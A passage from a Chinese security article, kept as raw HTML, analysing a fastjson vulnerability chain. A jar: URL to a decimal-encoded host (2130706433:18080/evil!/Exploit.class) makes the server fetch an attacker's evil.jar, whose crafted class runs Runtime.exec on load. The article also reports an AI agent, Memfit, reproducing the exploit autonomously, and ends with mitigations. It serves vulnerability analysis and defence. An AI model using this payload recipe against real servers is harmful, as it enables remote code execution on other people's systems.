data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;">getResourceAsStream</span></span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="3"> 还原出 </span><code data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;">jar:</span></span></code><code data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;"><a href="http://2130706433:18080/evil!/Exploit.class" target="_blank">http://2130706433:18080/evil!/Exploit.class</a></span></span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="3"> 后,</span><code data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;">LaunchedURLClassLoader</span></span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="3"> 对 </span><code data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;"><a href="http://127.0.0.1:18080/evil" target="_blank">http://127.0.0.1:18080/evil</a></span></span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="3"> 发起 HTTP GET,获取攻击者投放的 </span><code data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;">evil.jar</span></span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="3">。到这一步 SSRF 已成立。</span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">5.defineClass + &lt;clinit&gt;(RCE 落地)</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrui3o6n1x52" data-nest-level="4"><span leaf="" data-nest-level="5">探测命中后,fastjson 调 </span></span></span><span mpa-font-style="mrui3o6n23qk" style="font-size: 15px;" data-nest-level="3"><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">loadClass</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> → </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">defineClass</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;">:</span></span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;text-align: left;" data-nest-level="4"><span mpa-font-style="mrui3o6n1ya3" style="font-size: 15px;" data-nest-level="5"><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 0.5px;">evil.jar</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 中 </span></span><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 0.5px;">Exploit.class</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 的字节码内部名被刻意写成 </span></span><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 0.5px;">jar:</span></span></code><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 0.5px;"><a href="http://2130706433:18080/evil!/Exploit" target="_blank">http://2130706433:18080/evil!/Exploit</a></span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;">(Java 源码无法表达,用 ASM 直接指定);</span></span></span></p></li><li><p style="margin-bottom: 8px;" data-nest-level="4"><span mpa-font-style="mrui3o6nf28" style="font-size: 15px;" data-nest-level="5"><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;">类带 runtime-visible </span></span><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 0.5px;">@JSONType</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 注解,满足探测信任条件;</span></span></span></p></li><li><p style="margin-bottom: 8px;" data-nest-level="4"><span mpa-font-style="mrui3o6n7tq" style="font-size: 15px;" data-nest-level="5"><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 0.5px;">&lt;clinit&gt;</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 内为恶意代码(</span></span><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 0.5px;">Runtime.exec</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;">)。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span mpa-font-style="mrui3o6n10bt" style="font-size: 15px;" data-nest-level="3"><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;">JDK 8 verifier 宽松接受该内部名 → </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">defineClass</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 成功 → 类初始化触发 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">&lt;clinit&gt;</span></span></code></span><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrui3o6n1htm" data-nest-level="4"><span leaf="" data-nest-level="5"> → RCE。</span></span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">四、使用Memfit复现漏洞</span></strong></p></div></div></div><h2 data-nest-level="2" style="margin: 8px;"><span leaf="" style="font-size: 15px;" data-nest-level="3"><span textstyle="" style="letter-spacing: 1px;">打开Memfit，选择包含漏洞通报的文件夹然后让Memfit自行复现。使用yolo托管模式。这里我们使用glm-5.2模型进行复现。</span></span></h2><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrui4k9i187b" data-nest-level="2" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1610" data-imgfileid="100046353" data-ratio="0.476953125" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="2560" data-width="3374" src="https://wechat2rss.xlab.app/img-proxy/?k=b3be9639&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GPJzWeaf1RzGqbaMqFJhSQul0AaV3oqZfZKick1ItdGPJb6SsbvymMXEDenIibDicZBPQE84Bw7aaUnuy56t9tOibPsPG0nrMJ9W0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span leaf="" style="font-size: 15px;" data-nest-level="3"><span textstyle="" style="letter-spacing: 1px;">在开始运行后通过观察任务执行详情，在无人工介入的情况下Memfit完成了漏洞复现任务。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrui561n1cpn" data-nest-level="2" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.476953125" data-type="png" data-w="2560" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="2854" data-height="1362" data-imgfileid="100046352" src="https://wechat2rss.xlab.app/img-proxy/?k=3d24b96a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72H0ibMonzUcNcHTk31mf47rhCqr5vQJ9KlL08C6ERuTl29DL5sDibBJ2qB1Q1XFxAK8PtpXzpD7fRwy52GRRODdjeLicUhK4jKDPQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span leaf="" style="font-size: 15px;" data-nest-level="3"><span textstyle="" style="letter-spacing: 1px;">并在执行完成后生成了Risk信息。</span></span></p><p nodeleaf="" style="margin-bottom: 8px;" data-nest-level="2"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.48784082535003687" data-type="png" data-w="2714" style="background-color: transparent;" data-width="2714" data-height="1324" data-imgfileid="100046354" src="https://wechat2rss.xlab.app/img-proxy/?k=cd95f72f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72H9r5lrRVtxnHcLkUMT9lq8soT2GTqia4Lsv9pmq8JriaQUy1icyr1IRM16dY8LDmYgmdFgvkWmD6n3nWLycmuz8sSFZxpiaSg0kp0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">五、<span textstyle="" style="letter-spacing: 1px;">使用Yakit复现</span></span></strong></p></div></div></div><p nodeleaf="" style="margin-top: 8px;margin-bottom: 8px;padding: 0.5em;" data-mpa-action-id="mrui6hz414np" data-nest-level="2" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1188" data-imgfileid="100046357" data-ratio="0.44453125" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="2560" data-width="2672" src="https://wechat2rss.xlab.app/img-proxy/?k=ad663dcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72ErgULsvSia576vDHTWozFyk7SqHH5mqibSgfj2ySjkVIfGTrQ9Iz1gSyNq2ftnJSV7gqGPOcjrVuM2nXRFaNaBqtKoUEeEfOq6U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">六、防御措施</span></strong></p></div></div></div><byte-sheet-html-origin data-id="1784629293647" data-version="4" data-is-embed="true" data-grid-line-hidden="false" data-lark-html-role="root" data-copy-type="col" data-mpa-action-id="mrui7fwuk3w" data-nest-level="2" data-pm-slice="0 0 []"></byte-sheet-html-origin><p data-nest-level="2"><table style="width: 573px;"><tbody><tr><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(214, 214, 214);">防御措施</span></span></span></p></td><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(214, 214, 214);">对应代码</span></span></span></p></td><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(214, 214, 214);">效果</span></span></span></p></td></tr><tr><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">开 SafeMode</span></span></span></p></td><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">ParserConfig.java:1329前援</span></span></span></p></td><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">在所有检查前抛异常,链直接断</span></span></span></p></td></tr><tr><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">升级fastjson2</span></span></span></p></td><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">ParserConfig.java:1479-1502整段</span></span></span></p></td><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">fastjson2 移除/加固此探测路径</span></span></span></p></td></tr><tr><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">升级JDK9+</span></span></span></p></td><td data-colwidth="191"><p data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">JVM defineClass</span></span></span></p></td><td data-colwidth="191"><p data-mpa-action-id="mruii05v7rq" data-nest-level="7"><span style="font-size: 13px;" data-nest-level="8"><span leaf="" data-nest-level="9"><span textstyle="" style="color: rgb(178, 178, 178);">拒绝非法内部名,断在SSRF,不落地RCE</span></span></span></p></td></tr></tbody></table></p><div data-nest-level="2"><p style="margin-bottom: 0px;text-wrap: wrap;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-nest-level="3"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);" data-nest-level="4"><span leaf="" data-nest-level="5" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 0px;text-wrap: wrap;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;font-size: 16px;text-align: center;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;data-brushtype&#34;:&#34;text&#34;,&#34;style&#34;:&#34;outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;" data-nest-level="3"><div style="outline: 0px;" data-nest-level="4"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="5"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;" data-nest-level="6"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="7"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: 